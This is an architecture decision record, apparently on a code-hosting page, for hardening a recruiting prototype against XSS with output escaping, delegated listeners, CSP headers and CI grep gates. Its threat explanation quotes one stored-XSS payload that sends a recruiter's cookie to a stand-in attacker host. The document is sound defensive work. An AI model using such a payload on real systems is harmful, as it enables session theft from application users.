20 KiB

Raw Blame History

ADR 0014 — Harden the existing prototype against XSS in Phase 0, independently of the frontend migration


Status	Accepted — 2026-07-30
Scope	The immediate, self-contained security patch to the existing browser-only prototype: output escaping, event-handler removal, Content-Security-Policy, and the CI gate that keeps the guarantee from decaying. Does not cover the React migration (ADR 0013) or server-side output encoding (ADR 0006 §7, `05-security-rbac-ai-governance.md` §3)
Owner	Ahmed Mujtaba implements, with a Talha review checkpoint on the escaping pass and sign-off on the CSP header set. Deliberately assigned to the junior: it is bounded, visible, security-relevant, and it produces the escaping habit he carries into React
Effort	2–3 developer-days. Confidence: high — the site count is known exactly, not estimated
Consistent with	`_decisions.md` Part 1 → Immediate XSS hardening of the prototype (Phase 0, before the migration); Phasing… Phase 0 row and the first flagged risk; `05-security-rbac-ai-governance.md` §9.1 Phase 0 row
Related ADRs	0013 (the migration this decision is deliberately decoupled from), 0016 (the CI that hosts the grep gate), 0003 (the other half of the untrusted-input surface: attacker-supplied files)

Context

This is the only P0 security finding in the package, and it is a finding, not a projection. Verified by direct inspection (_repo-findings.md §E):

Fact	Evidence
No HTML escaping exists anywhere. `grep` for `escapeHtml`, `sanitiz`, `DOMPurify` across the repository returns nothing	repo-wide grep
34 `innerHTML` assignments across 14 files. Every view builds markup by template-string interpolation of data values	`grep -c innerHTML js/*.js`
Candidate-controlled fields are interpolated raw into markup — `${c.name}`, `${c.currentTitle}`, `${c.location}`	`js/candidates.js:68`
Inline event handlers carry interpolated values — `onclick="Candidates.openProfile('${c.id}')"`	`js/candidates.js:121`

Why this is P0 and not theoretical

Today nothing is exploitable, and the reason matters: all data is generated in-browser by a seeded LCG (js/data.js:8-10), there are zero network calls anywhere in js/ or index.html (_repo-findings.md §C), and nothing persists beyond the theme preference in localStorage (js/app.js:64,193,198). The prototype is a closed system fed by its own PRNG.

The two primary Phase 1 intake sources are CV files and inbound Outlook mail — both attacker-supplied by design. That is not a risk we are accepting; it is the product requirement (BRD §8.1, §6.3). The moment either source is connected, every screen becomes a stored-XSS sink. A CV whose name field contains <img src=x onerror=fetch('https://evil/?c='+document.cookie)> executes in a recruiter's session with that recruiter's full application privileges — which, once identity exists, includes read access to the entire candidate base.

Why this cannot simply wait for the React migration

ADR 0013 makes this bug class structurally impossible, and it is the right destination. But:

The migration takes months — 20–30 developer-days of porting spread across Phases 1–4, and the untrusted-data screens (Inbox, CV Import, Candidates, candidate profile) are wave 2, not wave 1.
The prototype keeps being demoed to stakeholders throughout. It is the only thing that looks like a product until the React screens exist.
The realistic failure is a well-intentioned demo. Somebody wires the prototype to the test mailbox to make a demo compelling. That is not negligence; it is the obvious thing to do with a working UI and a working mailbox, and no rule written in a design document prevents it if the code is exploitable.

Coupling the security deadline to the migration schedule bets that the migration never slips and that nobody ever points the prototype at real data. Both bets are bad. Hence a separate decision, a separate ADR, and a separate 2–3 day task in Phase 0.

Options considered

Option A — Escape at every interpolation site, remove inline handlers, add CSP, add a CI gate (chosen)

Add UI.esc(), apply it at every data-derived interpolation across the 34 sites, replace inline onclick with delegated listeners reading data-*, add CSP without unsafe-inline for scripts, and add a CI grep gate on new unescaped interpolation.

For: fixes the actual bug at the actual layer; no dependency added to a repository with no package manager (§B); the CSP and the CI gate mean the guarantee survives the months of migration rather than decaying with each new prototype edit; teaches the pattern the junior needs in React.
Against: it is a per-line discipline, which is exactly what ADR 0013 exists to eliminate. Accepted because this is a bounded holding action over a frozen codebase, not the end state.

Option B — Skip the patch; the prototype is being replaced anyway

For: zero effort; the 2–3 days go to Phase 1 features.
Against: assumes the migration never slips and that real data never touches the prototype. Both are optimistic, and the downside is a stored-XSS execution against a recruiter session — the highest-privilege browser context in the product.
Verdict: rejected.

Option C — Add DOMPurify and sanitise output

For: one dependency, defends against markup we failed to anticipate, standard advice.
Against: wrong layer for this data. These are text fields — a candidate's name, title, location, a job title. They should be escaped, not sanitised: escaping renders <b> as the literal characters, which is correct for a name; sanitising renders it as bold, which is silently wrong data. DOMPurify also means adding a dependency to a codebase with no package.json, no lockfile and no node_modules (§B), which means either a vendored copy nobody updates or introducing npm to the prototype purely to delete it later.
Verdict: rejected on layer correctness first, dependency cost second. DOMPurify becomes the right tool only if a rich-text field (a formatted job description) is ever rendered as HTML, and that decision belongs to the React app.

Option D — Switch the 34 sites from `innerHTML` to `textContent` / DOM construction

For: the genuinely correct fix — no escaping function to forget, because there is no HTML string.
Against: these are not 34 text assignments; they are 34 template blocks that build cards, rows, badges and modals with nested structure. Converting them to document.createElement chains is a rewrite of the rendering layer, which is ADR 0013's job and costs weeks, not days. It also expands the diff of a codebase that is about to be frozen.
Verdict: rejected as scope. Adopted partially: the inline-handler removal (below) is exactly this fix applied to the one place where escaping alone is insufficient.

Option E — CSP only, no escaping pass

For: one header, minutes of work, blocks inline script execution.
Against: CSP is a mitigation, not a fix. It does not stop markup injection that does not need script — layout destruction, clickjacking overlays, <img> beacons to an attacker host (unless img-src is also locked, which breaks avatars), or CSS-based data exfiltration. It also does not stop the injected value from corrupting the DOM structure the delegated handlers depend on. CSP belongs in the answer as defence in depth, not as the answer.
Verdict: rejected as sufficient; adopted as one of four parts.

Decision

Patch the existing prototype in Phase 0, in four parts, all four required.

Part 1 — `UI.esc()` applied at every data-derived interpolation

Add to js/ui.js (which is already the primitives module, js/ui.js:251):

// js/ui.js — escape for HTML text and quoted-attribute contexts.
UI.esc = function (v) {
  if (v === null || v === undefined) return '';
  return String(v)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
};

Applied at every interpolation of a data-derived value across the 34 innerHTML sites in 14 files. Rules for the pass:

Rule	Detail
Escape the value, not the template	`${UI.esc(c.name)}`, never a post-hoc pass over the assembled string
Escape at the interpolation, not at the data source	Escaping in `js/data.js` would double-escape anything later read as text and would break `dataTable` sorting
Numbers and enums are escaped too	`${UI.esc(c.aiScore)}` costs nothing and removes the judgement call about which fields are "safe" — and after Phase 1 the safe list is wrong anyway, because real data replaces the PRNG
Attribute values must be quoted and escaped	An escaped value in an unquoted attribute is still an injection point
Never interpolate into a URL scheme position	`href="${…}"` with a `javascript:` value survives HTML escaping. The pass converts every dynamic `href` to a scheme allowlist check (`http:`, `https:`, `mailto:`) or a `data-*` attribute plus a delegated handler
Never interpolate inside a `<script>` block	There are none today; the CI gate keeps it that way

UI.esc is deliberately hand-written and dependency-free: 6 lines that need no package manager and no supply-chain review, in a codebase that has neither (§B).

Part 2 — Inline handlers replaced by delegated listeners

onclick="Candidates.openProfile('${c.id}')" (js/candidates.js:121) and its ~30 siblings become:

<button class="btn" data-action="open-profile" data-id="CAN-5001">…</button>

with one delegated listener per view root:

root.addEventListener('click', (e) => {
  const el = e.target.closest('[data-action]');
  if (!el) return;
  const fn = HANDLERS[el.dataset.action];   // allowlist lookup, never dynamic dispatch
  if (fn) fn(el.dataset);
});

Two things this buys beyond escaping. First, it removes the last string-to-code path in the UI, so CSP can forbid inline script entirely (Part 3) — with inline handlers present, CSP would need unsafe-inline and would be nearly worthless. Second, HANDLERS is an allowlist map: an injected data-action value that is not a key does nothing, whereas an injected function name in an inline handler is dispatched.

Part 3 — Content-Security-Policy and the full header set

Delivered as HTTP headers by devserver.py (36 lines) and as a <meta http-equiv> fallback in index.html, so the guarantee holds however the file is opened.

Header	Value	Why
`Content-Security-Policy`	`default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; font-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'self'; object-src 'none'`	No `unsafe-inline` for scripts — made possible by Part 2. `img-src data:` is required by the avatar primitive. `connect-src 'self'` means an injected beacon cannot reach an attacker host
`X-Content-Type-Options`	`nosniff`	An uploaded file must never be sniffed into `text/html`
`Referrer-Policy`	`strict-origin-when-cross-origin`	Candidate ids must not leak in referrers
`X-Frame-Options`	`DENY`	Belt-and-braces with `frame-ancestors`
`Permissions-Policy`	`camera=(), microphone=(), geolocation=()`	Nothing in the product needs these

style-src 'self' without unsafe-inline requires that no inline style="…" attribute carries a data-derived value. The pass converts the handful that do (progress-bar widths in pbar) to CSS custom properties set via element.style.setProperty, which is a DOM API call rather than a markup string.

Part 4 — The CI gate, so the guarantee does not decay

Added to the required CI workflow (ADR 0016). Three checks, all failing the build:

Check	Mechanism	Catches
Unescaped interpolation	A grep gate: fail if a template literal assigned to `innerHTML` contains `${` not immediately followed by `UI.esc(`, with a narrow, reviewed allowlist for pre-escaped composed fragments	The next new interpolation added to a prototype screen
New inline handlers	Fail on `on\w+\s=\s["']` in `js/**` and `index.html`	Reintroduction of the string-to-code path
CSP present	Assert the header set is served by `devserver.py` and present in `index.html`	Someone removing the header to unbreak a demo

The gate is the part that matters most over the next 6–12 months. The escaping pass is a one-day fix; the gate is what makes it still true in month nine, when the prototype has been edited a dozen times by two people under delivery pressure.

What this decision explicitly does not do

It does not make the prototype production-ready. It is a demo and reference artefact; it is never deployed to production (ADR 0013, coexistence rule 4).
It does not add authentication, authorization or transport security. There is nothing to authenticate against yet (_repo-findings.md §D — the RBAC matrix is a display widget, js/rbac.js:78).
It does not replace server-side output encoding or the React-side guarantee. It is the interim layer, and it is the only layer for the interim period.

Justification

The decisive argument is the decoupling, not the escaping. Escaping 34 sites is obvious work that any reviewer would demand. The non-obvious call is doing it as an independent Phase 0 task with its own CI gate rather than folding it into the migration. That costs 2–3 days and buys the removal of a schedule dependency between a security deadline and a months-long refactor. With two developers, no slack and one reviewer, schedule dependencies between "we must not be exploitable" and "we must finish a large refactor" are the ones that break.

On assigning it to the junior. This is a deliberate use of a bounded security task as a teaching vehicle. The work is mechanical enough to be safe, visible enough to be independently demonstrable (a test payload in a candidate name either renders as literal text or does not), and it establishes both the escaping reflex and the delegated-event pattern before the React port begins. Talha reviews the pass site-by-site — 34 sites is a reviewable diff, which is precisely why this is a good junior task and a bad one to defer until there are 300 sites.

On the effort estimate. 2–3 days is unusually confident for this package because the denominator is counted, not assumed: 34 innerHTML sites, 14 files, ~30 inline handlers, one header set, three CI checks. The uncertainty is in the URL-scheme and inline-style edge cases, which is why the range is 2–3 rather than 2.

The tradeoff, stated plainly

We are spending 2–3 developer-days on a codebase we have already decided to replace, and we are accepting a per-line escaping discipline as the interim guarantee — the exact property ADR 0013 exists to eliminate. Both are correct here: the spend is small and bounded, the discipline is backstopped by CSP and a CI gate rather than trusted on its own, and the alternative is a live stored-XSS surface for the whole migration window on the one screen set that recruiters use every day.

Consequences

Positive

The prototype stops being exploitable if real data reaches it, which converts a P0 into an accepted, mitigated risk.
The security deadline is independent of the migration schedule. ADR 0013 can slip without creating an exposure.
CSP without unsafe-inline becomes achievable, because Part 2 removes the last inline-script dependency — a real, durable improvement rather than a header that has to be weakened to work.
The CI gate means the guarantee holds across the 6–12 months of coexistence, not just on the day of the patch.
The junior finishes Phase 0 with the escaping reflex, the delegated-event pattern and one visibly closed security finding.
img-src 'self' data: plus connect-src 'self' means even a missed interpolation cannot beacon data to an attacker-controlled host — the mitigation layer does real work.

Negative — the costs being accepted

2–3 developer-days spent on code scheduled for deletion. Unavoidable, and cheap relative to the exposure.
Escaping remains a per-line discipline until each screen is migrated. Backstopped, not eliminated.
The grep gate is a heuristic and will produce false positives on legitimately composed HTML fragments. Handled by a narrow, reviewed allowlist — which is itself a small ongoing maintenance cost, and a place where a careless allowlist entry silently reopens the hole.
CSP will break something during the pass — most likely the inline style widths in pbar and any data: URI beyond images. That is the work, not a surprise.
The diff touches 14 of the ~24 JS files, which conflicts with any concurrent prototype work. Mitigated by doing this first in Phase 0, before the prototype is frozen and before wave 1 of the migration starts.

Risks

#	Risk	Likelihood	Impact	Mitigation
R1	The pass misses a site, and real data is connected before that screen is migrated	Medium — 34 sites reviewed by hand	High	Site-by-site Talha review; CSP `script-src 'self'` blocks the script path; `connect-src`/`img-src` block the exfiltration path; ADR 0013 rule 1 keeps real data off the prototype entirely
R2	A new interpolation is added later and the grep gate's allowlist is widened to make CI pass	Medium	High	Allowlist entries require a Talha review and a comment stating why the fragment is pre-escaped. This is the single most likely decay path and it is a review-discipline problem, honestly stated
R3	Escaping is applied at the data source instead of the interpolation, double-escaping display values	Low–Medium	Low	Explicit rule above; visible immediately as `&amp;` in the UI
R4	A dynamic `href` keeps a `javascript:` payload because HTML escaping "looked sufficient"	Low	High	Called out as its own rule; every dynamic `href` is either scheme-allowlisted or converted to `data-*` plus a delegated handler
R5	CSP is weakened (`unsafe-inline` re-added) to unbreak a demo under time pressure	Medium	High	Part 4 asserts the exact header value in CI, so weakening it fails the build rather than passing quietly
R6	The `<meta>` CSP fallback is assumed equivalent to the header	Low	Low–Medium	It is not — `frame-ancestors` is ignored in `<meta>`. Both are shipped; `devserver.py` serves the real headers, and the meta tag is only the last-resort layer for a file opened directly

Revisit conditions

#	Condition	Expected move
T1	A prototype screen's React replacement lands	The prototype screen is deleted in the same PR (ADR 0013 rule 3). Its escaping obligation disappears with it
T2	The last prototype screen is migrated	Delete `UI.esc`, the grep gate and the inline-handler check. Retire this ADR as Superseded by 0013
T3	A rich-text field must be rendered as HTML (a formatted job description)	That is a new decision, made in the React app, and it is where DOMPurify or a server-side sanitiser becomes the right tool. It is explicitly out of scope here
T4	Anyone proposes connecting the prototype to the real mailbox or real CV storage	Refuse. The gate is ADR 0013 wave 2, not this patch. This patch reduces the severity of an accident; it does not authorise one

ADR 0013 — the frontend strangler migration. This ADR is the reason 0013's schedule carries no security deadline; 0013 is the reason this ADR is a holding action rather than the end state.
ADR 0016 — the required CI pipeline that hosts the three gates in Part 4.
ADR 0003 — the other half of the untrusted-input surface: attacker-supplied files, handled by quarantine, magic-byte allowlist and a malware-scan gate before any parse attempt.
ADR 0006 §"Output escaping is in scope for this decision" — candidate search results are a rendering surface for the same untrusted text.
05-security-rbac-ai-governance.md §9.1 Phase 0 — the full Phase 0 security workstream this task sits inside (headers, gitleaks, react/no-danger, TLS/HSTS, secret store).
_decisions.md Part 1 → Immediate XSS hardening of the prototype; Phasing… first flagged risk.
_repo-findings.md §E — the finding, with the 34-site count and the file-level evidence.

20 KiB Raw Blame History Unescape Escape